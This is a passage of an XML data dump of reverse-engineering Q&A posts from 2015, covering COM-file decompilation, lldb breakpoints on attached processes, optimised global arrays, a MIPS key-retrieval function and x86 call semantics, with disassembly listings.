&lt;code&gt;ebp+0C&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The string (the address of the string has been saved in &lt;code&gt;edx&lt;/code&gt; and is back in &lt;code&gt;edi&lt;/code&gt;) gets overwritten with the byte in &lt;code&gt;al&lt;/code&gt; - your second function parameter.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So what this function does is overwrite a null-terminated string of unknown length (parameter 1) with a sequence of identical bytes (parameter 2).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-07-25T08:56:16.063" LastActivityDate="2015-07-25T08:56:16.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9442" PostTypeId="2" ParentId="1854" CreationDate="2015-07-25T07:56:45.687" Score="0" Body="&lt;p&gt;My answer is a little late; newcomer to this site. The Decompiler project was initiated in order to decompile MS-DOS EXE and COM binaries. The project has both a command-line and a GUI tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/projects/decompiler/&quot; rel=&quot;nofollow&quot;&gt;https://sourceforge.net/projects/decompiler/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the following command with the command-line tool to decompile COM programs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decompile --default-to ms-dos-com myprog.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the GUI, use the menu command &lt;code&gt;File&lt;/code&gt; &gt; &lt;code&gt;Open as...&lt;/code&gt; to open the COM file and specify a start address like 0800:0100.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2015-07-25T07:56:45.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9443" PostTypeId="2" ParentId="3789" CreationDate="2015-07-25T08:00:38.430" Score="7" Body="&lt;p&gt;My answer is a little late; newcomer to this site. The Decompiler project was initiated in order to decompile MS-DOS EXE and COM binaries. The project has both a command-line and a GUI tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/projects/decompiler/&quot; rel=&quot;noreferrer&quot;&gt;https://sourceforge.net/projects/decompiler/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the following command with the command-line tool to decompile COM programs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decompile --default-to ms-dos-com myprog.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the GUI, use the menu command &lt;code&gt;File&lt;/code&gt; &gt; &lt;code&gt;Open as...&lt;/code&gt; to open the COM file and specify a start address like 0800:0100.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2015-07-25T08:00:38.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9444" PostTypeId="2" ParentId="3074" CreationDate="2015-07-25T08:07:33.747" Score="3" Body="&lt;p&gt;My answer is a little late; newcomer to this site. The Decompiler project was initiated in order to decompile MS-DOS EXE and COM binaries. The project has both a command-line and a GUI tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/projects/decompiler/&quot; rel=&quot;nofollow&quot;&gt;https://sourceforge.net/projects/decompiler/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the following command with the command-line tool to decompile COM programs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decompile --default-to ms-dos-com myprog.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the GUI, use the menu command &lt;code&gt;File&lt;/code&gt; &gt; &lt;code&gt;Open as...&lt;/code&gt; to open the COM file and specify a start address like 0800:0100.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2015-07-25T08:07:33.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9445" PostTypeId="1" CreationDate="2015-07-25T11:44:03.880" Score="2" ViewCount="555" Body="&lt;p&gt;I am trying to set breakpoint to existing processes, but when i am trying to do it breakpoint is not reached, but when i am running app directly in lldb and set breakpoint before it runs all breakpoints are wokring fine. Let's have a look on example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First case (trying to attach to exising process):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MacBook-Pro-Michal:Damn m1entus$ ps aux | grep -i calculator&#xA;m1entus         28940   0,0  0,0  2432772    676 s001  S+    1:21     0:00.00 grep -i calculator&#xA;m1entus         28863   0,0  0,2  2762000  36000   ??  U     1:19     0:00.73 /Applications/Calculator.app/Contents/MacOS/Calculator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;next&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) attach -p 28863&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;next&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) b *0x00000001000093dd&#xA;Breakpoint 1: address = 0x00000001000093dd&#xA;(lldb) c&#xA;Process 28863 resuming&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And nothing is happening when open showAbout... (i took address from Hopper)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second case (run app with lldb command):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MacBook-Pro-Michal:Damn m1entus$ lldb /Applications/Calculator.app/Contents/MacOS/Calculator &#xA;(lldb) target create &quot;/Applications/Calculator.app/Contents/MacOS/Calculator&quot;&#xA;Current executable set to '/Applications/Calculator.app/Contents/MacOS/Calculator' (x86_64).&#xA;(lldb) b *0x00000001000093dd&#xA;Breakpoint 1: address = 0x00000001000093dd&#xA;(lldb) run&#xA;Process 28972 launched: '/Applications/Calculator.app/Contents/MacOS/Calculator' (x86_64)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when i open showAbout: in Calculator my breakpoint is reached:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Process 28972 stopped&#xA;* thread #1: tid = 0x8f823, 0x00000001000093dd Calculator`___lldb_unnamed_function161$$Calculator, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1&#xA; frame #0: 0x00000001000093dd Calculator`___lldb_unnamed_function161$$Calculator&#xA;Calculator`___lldb_unnamed_function161$$Calculator:&#xA;-&amp;gt;  0x1000093dd &amp;lt;+0&amp;gt;:  pushq  %rbp&#xA;0x1000093de &amp;lt;+1&amp;gt;:  movq   %rsp, %rbp&#xA;0x1000093e1 &amp;lt;+4&amp;gt;:  movq   0x12b98(%rip), %rdi       ; (void *)0x00007fff7374e488: NSDictionary&#xA;0x1000093e8 &amp;lt;+11&amp;gt;: movq   0x12301(%rip), %rsi       ; &quot;dictionaryWithObject:forKey:&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone could explain me why it is happening and how to attach to exising process and hit breakpoint ?&lt;/p&gt;&#xA;" OwnerUserId="11877" LastActivityDate="2016-02-16T23:25:50.563" Title="lldb - breakpoint not reached when attach do process (but executing when set before app running)" Tags="|gdb|osx|ios|lldb|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9448" PostTypeId="1" AcceptedAnswerId="9449" CreationDate="2015-07-26T10:19:50.450" Score="1" ViewCount="196" Body="&lt;p&gt;I compile &lt;code&gt;C&lt;/code&gt; code snippet with &lt;code&gt;VS2010&lt;/code&gt; by two ways:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int g_arra[3];&#xA;&#xA;int main() {&#xA;  int idx = 2;&#xA;  g_arra[0] = 10;&#xA;  g_arra[1] = 20;&#xA;  g_arra[2] = 30;&#xA;  g_arra[idx] = 40;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;With &lt;code&gt;/O2&lt;/code&gt; optimization&lt;/li&gt;&#xA;&lt;li&gt;Without &lt;code&gt;/O2&lt;/code&gt; optimization&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;About &lt;code&gt;/O2&lt;/code&gt; optimization:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This option enables optimizations for speed. This is the generally&#xA;  recommended optimization level. The compiler vectorization is enabled&#xA;  at O2 and higher levels. With this option, the compiler performs some&#xA;  basic loop optimizations, inlining of intrinsic, Intra-file&#xA;  interprocedural optimization, and most common compiler optimization&#xA;  technologies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When tried to reverse it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With &lt;code&gt;/O2&lt;/code&gt; optimization:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; int __cdecl main(int argc, const char **argv, const char **envp)&#xA;.text:00401000 _main        proc near    ; CODE XREF: ___tmainCRTStartup+11Dp&#xA;.text:00401000              mov     dword_403390, 10&#xA;.text:0040100A              mov     dword_403394, 20&#xA;.text:00401014              mov     dword_403398, 40&#xA;.text:0040101E              xor     eax, eax&#xA;.text:00401020              retn&#xA;.text:00401020 _main        endp&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Without &lt;code&gt;/O2&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ; int __cdecl main(int argc, const char **argv, const char **envp)&#xA;.text:00401000 _main        proc near    ; CODE XREF: ___tmainCRTStartup+11Dp&#xA;.text:00401000 var_4        = dword ptr -4&#xA;.text:00401000 argc         = dword ptr  8&#xA;.text:00401000 argv         = dword ptr  0Ch&#xA;.text:00401000 envp         = dword ptr  10h&#xA;.text:00401000              push    ebp&#xA;.text:00401001              mov     ebp, esp&#xA;.text:00401003              push    ecx&#xA;.text:00401004              mov     [ebp+var_4], 2&#xA;.text:0040100B              mov     dword_403390, 0Ah&#xA;.text:00401015              mov     dword_403394, 14h&#xA;.text:0040101F              mov     dword_403398, 1Eh&#xA;.text:00401029              mov     eax, [ebp+var_4]&#xA;.text:0040102C              mov     dword_403390[eax*4], 28h&#xA;.text:00401037              xor     eax, eax&#xA;.text:00401039              mov     esp, ebp&#xA;.text:0040103B              pop     ebp&#xA;.text:0040103C              retn&#xA;.text:0040103C _main        endp&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Code compiled without &lt;code&gt;/O2&lt;/code&gt; given me clear explanation about &lt;em&gt;global&lt;/em&gt; array, i can compute the size of it(4 byte each &lt;code&gt;[eax*4]&lt;/code&gt;) and how many elements it has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how to deal with the first case? Where is compiler hide other instructions? How to detect, function has a &lt;em&gt;global allocated array&lt;/em&gt; or a &lt;em&gt;stack allocated array&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="10010" LastEditorUserId="53" LastEditDate="2015-07-27T09:51:42.640" LastActivityDate="2015-07-27T09:51:42.640" Title="Globally allocated arrays optimization" Tags="|disassembly|x86|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9449" PostTypeId="2" ParentId="9448" CreationDate="2015-07-26T10:37:52.827" Score="5" Body="&lt;p&gt;In general case there is no difference between array and sequentially placed variables of the same type. The information about arrays and more complicated data types is lost during compilation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are several ways to restore this information from the context (and none of them will work in your specific case because it is too much simple and thus very much optimize-able).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From allocations. If something is allocated using malloc or new [] operator it may be an array or class/structure object, and the element size may be revealed by observing the access to this memory.&lt;/li&gt;&#xA;&lt;li&gt;From access patterns. If you see a loop accessing the memory it may be an array&lt;/li&gt;&#xA;&lt;li&gt;By not accessed gaps in memory, both stack and global (was previously mentioned as &quot;holes&quot;). If compiler will not be able to detect and &quot;unroll&quot; the access to the array, it will compute the accessed element's offset on the fly and will add this offset to the address of first element of the array. If you'll try to analyze such kind of code and its variable allocation you'll see the &quot;base&quot; of the array and some not referenced memory after it which will be accessed as *(base +computed_offset) = something.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regarding &quot;hidden instructions&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are not needed in optimized code. Both of your variants are functionally equivalent. Compiler just computed the needed index during the compilation, &#xA;so nobody hides anything here.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-07-26T11:00:14.597" LastActivityDate="2015-07-26T11:00:14.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9450" PostTypeId="2" ParentId="9438" CreationDate="2015-07-26T12:06:33.517" Score="1" Body="&lt;p&gt;Causeway extender sources have been released into public domain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devoresoftware.com/freesource/cwsrc.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.devoresoftware.com/freesource/cwsrc.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source includes the packer program (&lt;code&gt;CWC&lt;/code&gt;) and the decompressor stub(&lt;code&gt;DECSTUB.ASM&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-07-26T12:06:33.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9451" PostTypeId="2" ParentId="9448" CreationDate="2015-07-26T13:32:48.213" Score="3" Body="&lt;p&gt;On x86 the &lt;code&gt;ESP&lt;/code&gt; and &lt;code&gt;EBP&lt;/code&gt; registers are used to access data on the stack. If you see code like  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [ebp - 4], 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it access the stack. w s's answer tells you how to differentiate between access to single variables or an array.&lt;br&gt;&#xA;No sane compiler or coder will ever use esp/ebp for anything but the stack, however if you want to be really sure (during runtime) you can get the stack boundaries from the TEB (windows only).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An access to a global variable will always be an access to a fixed memory location.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     dword_403390, 0Ah&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example 403390 is the fixed memory location (whether it is actually fixed or changed due to ASLR/relocations isn't important as this invisible in the disassembly).&lt;br&gt;&#xA;For further verifiaction you can check wheter that adress lies in the boundaries of the loaded executable or DLL/shared module.&lt;/p&gt;&#xA;" OwnerUserId="8093" LastEditorUserId="8093" LastEditDate="2015-07-26T23:37:32.780" LastActivityDate="2015-07-26T23:37:32.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9452" PostTypeId="1" CreationDate="2015-07-26T14:45:35.720" Score="0" ViewCount="1100" Body="&lt;p&gt;These function are used to decrypt with AES and there is Decrypt by CRC and I assume that crc is used for data checksums, I have qemu-mipsel and my question for u is how could I discover from where does this function get key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;  function: CSPDBGetFileEncryKey at 0x4fd9d0 -- 0x4fda70&#xA;0x4fd9d0:   3c 1c 00 12     lui $gp, 0x12&#xA;0x4fd9d4:   27 9c c3 70     addiu $gp, $gp, 0xffffffffffffc370&#xA;0x4fd9d8:   03 99 e0 21     addu $gp, $gp, $t9&#xA;0x4fd9dc:   27 bd ff d8     addiu $sp, $sp, 0xffffffffffffffd8&#xA;0x4fd9e0:   af bf 00 24     sw $ra, 0x24 ( $sp )&#xA;0x4fd9e4:   af b2 00 20     sw $s2, 0x20 ( $sp )&#xA;0x4fd9e8:   af b1 00 1c     sw $s1, 0x1c ( $sp )&#xA;0x4fd9ec:   af b0 00 18     sw $s0, 0x18 ( $sp )&#xA;0x4fd9f0:   af bc 00 10     sw $gp, 0x10 ( $sp )&#xA;0x4fd9f4:   00 80 88 21     addu $s1, $a0, $zero&#xA;0x4fd9f8:   10 80 00 16     beq 0x4fda54  &amp;lt;CSPDBGetFileEncryKey+0x84&amp;gt;, $zero, 0x4fda54  &amp;lt;CSPDBGetFileEncryKey+0x84&amp;gt;&#xA;0x4fd9fc:   00 a0 80 21     addu $s0, $a1, $zero&#xA;0x4fda00:   10 a0 00 15     beq 0x4fda58  &amp;lt;CSPDBGetFileEncryKey+0x88&amp;gt;, $zero, 0x4fda58  &amp;lt;CSPDBGetFileEncryKey+0x88&amp;gt;&#xA;0x4fda04:   24 02 ff ff     addiu $v0, $zero, 0xffffffffffffffff&#xA;0x4fda08:   8f 92 89 9c     lw $s2, 0xffffffffffff899c ( $gp )&#xA;0x4fda0c:   8f 99 93 54     lw $t9, 0xffffffffffff9354 ( $gp )&#xA;0x4fda10:   03 20 f8 09     jalr $t9&#xA;0x4fda14:   26 44 00 b0     addiu $a0, $s2, 0xb0&#xA;0x4fda18:   8f bc 00 10     lw $gp, 0x10 ( $sp )&#xA;0x4fda1c:   10 40 00 0d     beq 0x4fda54  &amp;lt;CSPDBGetFileEncryKey+0x84&amp;gt;, $zero, 0x4fda54  &amp;lt;CSPDBGetFileEncryKey+0x84&amp;gt;&#xA;0x4fda20:   02 20 20 21     addu $a0, $s1, $zero&#xA;0x4fda24:   8f 99 89 7c     lw $t9, 0xffffffffffff897c ( $gp )&#xA;0x4fda28:   00 00 28 21     addu $a1, $zero, $zero&#xA;0x4fda2c:   03 20 f8 09     jalr $t9&#xA;0x4fda30:   02 00 30 21     addu $a2, $s0, $zero&#xA;0x4fda34:   02 20 20 21     addu $a0, $s1, $zero&#xA;0x4fda38:   26 45 00 b0     addiu $a1, $s2, 0xb0&#xA;0x4fda3c:   8f bc 00 10     lw $gp, 0x10 ( $sp )&#xA;0x4fda40:   8f 99 8b 8c     lw $t9, 0xffffffffffff8b8c ( $gp )&#xA;0x4fda44:   03 20 f8 09     jalr $t9&#xA;0x4fda48:   26 06 ff ff     addiu $a2, $s0, 0xffffffffffffffff&#xA;0x4fda4c:   10 00 00 02     beq $zero, $zero, 0x4fda58  &amp;lt;CSPDBGetFileEncryKey+0x88&amp;gt;&#xA;0x4fda50:   00 00 10 21     addu $v0, $zero, $zero&#xA;0x4fda54:   24 02 ff ff     addiu $v0, $zero, 0xffffffffffffffff&#xA;0x4fda58:   8f bf 00 24     lw $ra, 0x24 ( $sp )&#xA;0x4fda5c:   8f b2 00 20     lw $s2, 0x20 ( $sp )&#xA;0x4fda60:   8f b1 00 1c     lw $s1, 0x1c ( $sp )&#xA;0x4fda64:   8f b0 00 18     lw $s0, 0x18 ( $sp )&#xA;0x4fda68:   03 e0 00 08     jr $ra&#xA;0x4fda6c:   27 bd 00 28     addiu $sp, $sp, 0x28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/qzkcgww8hxy6uvk/cspd.zip?dl=0&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you can download whole disassembly for this file and &lt;a href=&quot;https://www.dropbox.com/s/kn7ntgyj96npddt/cspd?dl=0&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; you can download mips binary if you would like to take a look&lt;/p&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="3810" LastEditDate="2015-07-27T00:53:16.877" LastActivityDate="2015-07-27T06:02:34.577" Title="Any tips for analyzing this mips function" Tags="|disassembly|dynamic-analysis|mips|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9457" PostTypeId="2" ParentId="9452" CreationDate="2015-07-27T06:02:34.577" Score="2" Body="&lt;p&gt;First of all, it is impossible to say where the key taken from on a basis of your snippet because it is incomplete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have 3 indirect calls here, and you can see it by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jalr $t9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Opening it in IDA gives you a bit more readable picture:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004FD9D0                 .globl CSPDBGetFileEncryKey&#xA;.text:004FD9D0 CSPDBGetFileEncryKey:                    # CODE XREF: sub_50D040+18Cp&#xA;.text:004FD9D0                                          # encry+158p&#xA;.text:004FD9D0                                          # DATA XREF: ...&#xA;.text:004FD9D0&#xA;.text:004FD9D0 var_18          = -0x18&#xA;.text:004FD9D0 var_10          = -0x10&#xA;.text:004FD9D0 var_C           = -0xC&#xA;.text:004FD9D0 var_8           = -8&#xA;.text:004FD9D0 var_4           = -4&#xA;.text:004FD9D0&#xA;.text:004FD9D0                 li      $gp, 0x11C370&#xA;.text:004FD9D8                 addu    $gp, $t9&#xA;.text:004FD9DC                 addiu   $sp, -0x28&#xA;.text:004FD9E0                 sw      $ra, 0x28+var_4($sp)&#xA;.text:004FD9E4                 sw      $s2, 0x28+var_8($sp)&#xA;.text:004FD9E8                 sw      $s1, 0x28+var_C($sp)&#xA;.text:004FD9EC                 sw      $s0, 0x28+var_10($sp)&#xA;.text:004FD9F0                 sw      $gp, 0x28+var_18($sp)&#xA;.text:004FD9F4                 move    $s1, $a0&#xA;.text:004FD9F8                 beqz    $a0, loc_4FDA54&#xA;.text:004FD9FC                 move    $s0, $a1&#xA;.text:004FDA00                 beqz    $a1, loc_4FDA58&#xA;.text:004FDA04                 li      $v0, 0xFFFFFFFF&#xA;.text:004FDA08                 la      $s2, g_tDBPdtIf&#xA;.text:004FDA0C                 la      $t9, strlen&#xA;.text:004FDA10                 jalr    $t9 ; strlen&#xA;.text:004FDA14                 addiu   $a0, $s2, (unk_619C78 - 0x619BC8)&#xA;.text:004FDA18                 lw      $gp, 0x28+var_18($sp)&#xA;.text:004FDA1C                 beqz    $v0, loc_4FDA54&#xA;.text:004FDA20                 move    $a0, $s1&#xA;.text:004FDA24                 la      $t9, memset&#xA;.text:004FDA28                 move    $a1, $zero&#xA;.text:004FDA2C                 jalr    $t9 ; memset&#xA;.text:004FDA30                 move    $a2, $s0&#xA;.text:004FDA34                 move    $a0, $s1&#xA;.text:004FDA38                 addiu   $a1, $s2, (unk_619C78 - 0x619BC8)&#xA;.text:004FDA3C                 lw      $gp, 0x28+var_18($sp)&#xA;.text:004FDA40                 la      $t9, strncpy&#xA;.text:004FDA44                 jalr    $t9 ; strncpy&#xA;.text:004FDA48                 addiu   $a2, $s0, -1&#xA;.text:004FDA4C                 b       loc_4FDA58&#xA;.text:004FDA50                 move    $v0, $zero&#xA;.text:004FDA54  # ---------------------------------------------------------------------------&#xA;.text:004FDA54&#xA;.text:004FDA54 loc_4FDA54:                              # CODE XREF: CSPDBGetFileEncryKey+28j&#xA;.text:004FDA54                                          # CSPDBGetFileEncryKey+4Cj&#xA;.text:004FDA54                 li      $v0, 0xFFFFFFFF&#xA;.text:004FDA58&#xA;.text:004FDA58 loc_4FDA58:                              # CODE XREF: CSPDBGetFileEncryKey+30j&#xA;.text:004FDA58                                          # CSPDBGetFileEncryKey+7Cj&#xA;.text:004FDA58                 lw      $ra, 0x28+var_4($sp)&#xA;.text:004FDA5C                 lw      $s2, 0x28+var_8($sp)&#xA;.text:004FDA60                 lw      $s1, 0x28+var_C($sp)&#xA;.text:004FDA64                 lw      $s0, 0x28+var_10($sp)&#xA;.text:004FDA68                 jr      $ra&#xA;.text:004FDA6C                 addiu   $sp, 0x28&#xA;.text:004FDA6C  # End of function CSPDBGetFileEncryKey&#xA;.text:004FDA6C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where all those indirect functions look like memset, strlen and strncpy, &#xA;so the key is somewhere in memory when this function is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it is not an answer for the question you asked,&#xA;but hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition I'd suggest to use something like &lt;a href=&quot;http://retdec.com&quot; rel=&quot;nofollow&quot;&gt;retargetable decompiler&lt;/a&gt;.&#xA;This will probably make this task easier (You'll probably need to register there to extend allowed decompilation time and specify that you want to decompile unreachable code.)&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-07-27T06:02:34.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9458" PostTypeId="1" AcceptedAnswerId="9459" CreationDate="2015-07-27T07:47:16.337" Score="0" ViewCount="292" Body="&lt;p&gt;Simply, why does not &lt;code&gt;call 12345678&lt;/code&gt; jump to &lt;code&gt;12345678&lt;/code&gt; address?&lt;br/&gt;&#xA;Why do I have to use the instruction like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 12345678&#xA;call eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More importantly, what does &lt;code&gt;call 12345678&lt;/code&gt; exactly do?&lt;/p&gt;&#xA;" OwnerUserId="11621" LastActivityDate="2015-07-27T13:38:50.823" Title="Why does not &quot;call 12345678&quot; jump to &quot;12345678&quot; address?" Tags="|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9459" PostTypeId="2" ParentId="9458" CreationDate="2015-07-27T07:58:44.193" Score="1" Body="&lt;p&gt;Because of call binary encoding. See the details and properties for intel processors at &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.html&quot; rel=&quot;nofollow&quot;&gt;Intel manual&lt;/a&gt; at page 3-114 Vol. 2A for Intel architecture.&#xA;If you are talking about different processor, please state which exactly.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-07-27T07:58:44.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9461" PostTypeId="1" CreationDate="2015-07-27T10:59:29.500" Score="0" ViewCount="684" Body="&lt;p&gt;I want to know whether there is any way to understand program by reading through lines of assembly produced by OllyDBG?&lt;br/&gt;&#xA;Is it really logical and normal thing to do? For instance, for understanding  how the malwares or viruses inject DLL into specific programs to change the way they execute by loading their own functions, is it a normal practice to read line by line? Are there any resources available to teach how to read such instructions and understand the program line by line? I have seen several RE tutorials. But most of the time, the guy would go through and look for specific instructions to manipulate and does not care about how the other areas of the program function.&lt;/p&gt;&#xA;" OwnerUserId="11621" LastActivityDate="2015-07-27T11:13:34.950" Title="Reading line by line of the ollyDBG instead of looking for specific instructions" Tags="|assembly|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9462" PostTypeId="2" ParentId="9461" CreationDate="2015-07-27T11:13:34.950" Score="3" Body="&lt;p&gt;The main idea behind RE is not just reading line by line, but carefully distinguishing important lines from not important. &#xA;The main part of all those tutorials is not reading assembly, but selecting places to read.&#xA;By the way, disassembler such as IDA is better for reading the code.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-07-27T11:13:34.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9463" PostTypeId="5" CreationDate="2015-07-27T12:13:53.643" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-07-27T12:13:53.643" LastActivityDate="2015-07-27T12:13:53.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9464" PostTypeId="4" CreationDate="2015-07-27T12:13:53.643" Score="0" Body="Files with machine code directly readable by the CPU or the interpreter. It encloses any executables, libraries, object code or memory dump of the analyzed software." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-07-27T12:13:53.643" LastActivityDate="2015-07-27T12:13:53.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9465" PostTypeId="2" ParentId="9458" CreationDate="2015-07-27T13:13:03.263" Score="0" Body="&lt;p&gt;&lt;code&gt;call 12345678&lt;/code&gt; pushes the following instruction's return address onto the stack and then jumps to &lt;code&gt;12345678&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is functionally equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 12345678&#xA;call eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Though the code above has the side-effect of modifying &lt;code&gt;eax&lt;/code&gt;, whereas a simple &lt;code&gt;call 12345678&lt;/code&gt; does not modify &lt;code&gt;eax&lt;/code&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-07-27T13:38:50.823" LastActivityDate="2015-07-27T13:38:50.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
